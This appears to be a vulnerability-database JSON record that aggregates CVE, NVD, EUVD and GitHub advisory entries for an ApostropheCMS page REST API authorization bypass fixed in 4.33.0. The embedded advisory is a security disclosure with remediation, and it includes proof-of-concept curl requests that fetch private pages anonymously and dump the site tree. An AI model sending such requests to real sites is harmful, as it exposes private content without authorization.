{"id":"CVE-2026-113670","revision":null,"records":[{"revision":"b6d6dff9fdab46d9afe6d8b0cc98933f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-110904","aliases":[],"title":"ApostropheCMS before 4.33.0 allows authentication bypass for REST API page reading, as demonstrated by a /api/v1/@apostrophecms/page?all=1 call.","description":"ApostropheCMS before 4.33.0 allows authentication bypass for REST API page reading, as demonstrated by a /api/v1/@apostrophecms/page?all=1 call.","state":0,"publishedAt":"2026-10-15T01:15:08.642+00:00","modifiedAt":"2026-10-15T13:24:32.663+00:00","affected":[{"ecosystem":"Vendor product","name":"ApostropheCMS","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/apostrophe\",\n                    \"product\": \"ApostropheCMS\",\n                    \"vendor\": \"apostrophecms\",\n                    \"versions\": [\n                        {\n                            \"lessThan\": \"4.33.0\",\n                            \"status\": \"affected\",\n                            \"version\": \"0\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-110904","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-110904","identifiers":["CVE-2026-110904"]},"retained":false,"historicalAffected":[]},{"revision":"8a0f043445cc42738f9aeb6ac675c8de","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-113670","aliases":[],"title":"This CVE is a duplicate of another CVE.","description":"This CVE is a duplicate of another CVE.","state":1,"publishedAt":"2026-10-20T17:37:41.166+00:00","modifiedAt":"2026-10-21T15:24:37.643+00:00","affected":[],"metrics":[],"references":[],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-113670","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-113670","identifiers":["CVE-2026-113670"]},"retained":false,"historicalAffected":[]},{"revision":"3badb20a32854f629790f0c96ca452e8","observedAt":"2026-11-07T04:32:33.067+00:00","statement":{"source":"euvd","id":"EUVD-2026-101804","aliases":["CVE-2026-110904","GHSA-cc97-9f5x-6rpj"],"title":"ApostropheCMS before 4.33.0 allows authentication bypass for REST API page reading, as demonstrated by a /api/v1/@apostrophecms/page?all=1 call.","description":"ApostropheCMS before 4.33.0 allows authentication bypass for REST API page reading, as demonstrated by a /api/v1/@apostrophecms/page?all=1 call.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"severity":null}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-101804","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 15, 2026, 1:15:08 AM","dateUpdated":"Oct 15, 2026, 1:24:32 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-101804","identifiers":["EUVD-2026-101804","CVE-2026-110904","GHSA-cc97-9f5x-6rpj"]},"retained":false,"historicalAffected":[]},{"revision":"27198c796f66407f81d8aac5c61d1e8c","observedAt":"2026-11-07T04:34:41.187+00:00","statement":{"source":"euvd","id":"EUVD-2026-105219","aliases":["CVE-2026-113670","GHSA-2j32-q6rx-h844"],"title":"This CVE is a duplicate of another CVE.","description":"This CVE is a duplicate of another CVE.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"severity":null}],"references":[],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-105219","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 20, 2026, 5:37:41 PM","dateUpdated":"Oct 21, 2026, 3:24:37 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-105219","identifiers":["EUVD-2026-105219","CVE-2026-113670","GHSA-2j32-q6rx-h844"]},"retained":false,"historicalAffected":[]},{"revision":"932dd7dd234248e18f8c64f86195c29c","observedAt":"2026-10-25T05:17:13.11+00:00","statement":{"source":"nvd","id":"CVE-2026-110904","aliases":[],"title":"ApostropheCMS before 4.33.0 allows authentication bypass for REST API page reading, as demonstrated by a /api/v1/@apostrophecms/page?all=1 call.","description":"ApostropheCMS before 4.33.0 allows authentication bypass for REST API page reading, as demonstrated by a /api/v1/@apostrophecms/page?all=1 call.","state":0,"publishedAt":"2026-10-15T02:18:37.32+00:00","modifiedAt":"2026-10-16T19:56:15.773+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · cve@mitre.org · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110904","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-863"],"productCriteria":[],"sourceDates":{"published":"2026-10-15T02:18:37.320","lastModified":"2026-10-16T19:56:15.773"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-110904","identifiers":["CVE-2026-110904"]},"retained":false,"historicalAffected":[]},{"revision":"922960a52c854b4293c52197be4f0f12","observedAt":"2026-10-25T05:17:18.597+00:00","statement":{"source":"nvd","id":"CVE-2026-113670","aliases":[],"title":"Rejected reason: This CVE is a duplicate of another CVE.","description":"Rejected reason: This CVE is a duplicate of another CVE.","state":1,"publishedAt":"2026-10-20T18:17:20.68+00:00","modifiedAt":"2026-10-21T16:17:24.507+00:00","affected":[],"metrics":[],"references":[],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113670","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Rejected","weaknesses":[],"productCriteria":[],"sourceDates":{"published":"2026-10-20T18:17:20.680","lastModified":"2026-10-21T16:17:24.507"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-113670","identifiers":["CVE-2026-113670"]},"retained":false,"historicalAffected":[]},{"revision":"36cdf84a1469408697f6a0b90ad0d39c","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2j32-q6rx-h844","aliases":["CVE-2026-110904","CVE-2026-113670"],"title":"ApostropheCMS: Page REST API authorization bypass","description":"**Summary**\nThe core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/page/index.js`:\n- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.\n- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.\n- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.\n- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.\n\n**PoC**\n```\n# Anonymous (no session) — private, admin-only page:\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# → 200  {\"_id\":\"...:en:published\",\"title\":\"Secret Private Page\",\"slug\":\"/secret-page\",\n#         \"type\":\"private-type\",\"visibility\":\"private\",\"secretData\":\"TOP-SECRET-VALUE-abc123\"}\n\n# Anonymous full site-map dump (includes private + loginRequired pages):\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page?all=1\"        # → 200, full tree\n\n# Contributor (cont_admin) reads full admin-only doc incl. protected field:\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# → 200  secretData = TOP-SECRET-VALUE-abc123\n# Controls (correctly enforced):\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz\"   # → 403\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\"   # → 403\n```\n\n**Impact**\nUnauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic.\n\n**Remediation** — Remove `.permission(false)` from `getOne`/`all` or re-apply the type's `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.","state":0,"publishedAt":"2026-10-20T18:13:08+00:00","modifiedAt":"2026-10-20T18:41:05.0518556+00:00","affected":[{"ecosystem":"npm","name":"apostrophe","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.33.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-2j32-q6rx-h844","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://github.com/advisories/GHSA-2j32-q6rx-h844","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2j32-q6rx-h844","identifiers":["GHSA-2j32-q6rx-h844","CVE-2026-110904","CVE-2026-113670"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T09:05:07.1353409+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T09:05:07.1353409+00:00","lastSuccessAt":"2026-11-08T09:05:07.314358+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:07.3144897+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-e58a079eb6f76d5949b871c295ad9e8f78e928765ff9950581a38d46375b9852","complete":true,"records":421096,"lastAttemptAt":"2026-11-08T09:04:21.5548423+00:00","lastSuccessAt":"2026-11-08T07:59:14.3145447+00:00","error":"HttpRequestException","lastVerifiedAt":"2026-11-08T07:59:14.338564+00:00","snapshotPublishedAt":"2026-11-08T07:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ce0df89a405747cda5b7c61ae0b48fb2","complete":true,"records":13633,"lastAttemptAt":"2026-11-08T09:05:09.4085736+00:00","lastSuccessAt":"2026-11-08T05:08:40.263+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:08:40.263+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T09:05:07.1353409+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T09:05:07.1353409+00:00","lastSuccessAt":"2026-11-08T09:05:07.4545479+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:07.4545481+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2404c35233cd476289f9792161a850e3","complete":true,"records":13645,"lastAttemptAt":"2026-11-08T09:05:08.6143971+00:00","lastSuccessAt":"2026-11-08T08:59:23.805+00:00","error":null,"lastVerifiedAt":"2026-11-08T08:59:23.805+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T09:05:07.0080286+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:07.0080286+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T09:05:03.7558577+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":"HttpRequestException","lastVerifiedAt":"2026-11-08T08:58:58.22321+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T09:05:07.0409305+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:07.0409305+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-8efbf882841c7fda0cba0c3b55677f4781f461b96ab83577ad2701c4eaf88b1e","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T09:05:06.6586785+00:00","lastSuccessAt":"2026-11-08T08:01:14.837451+00:00","error":null,"lastVerifiedAt":"2026-11-08T09:05:06.6586785+00:00","snapshotPublishedAt":"2026-11-08T07:33:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}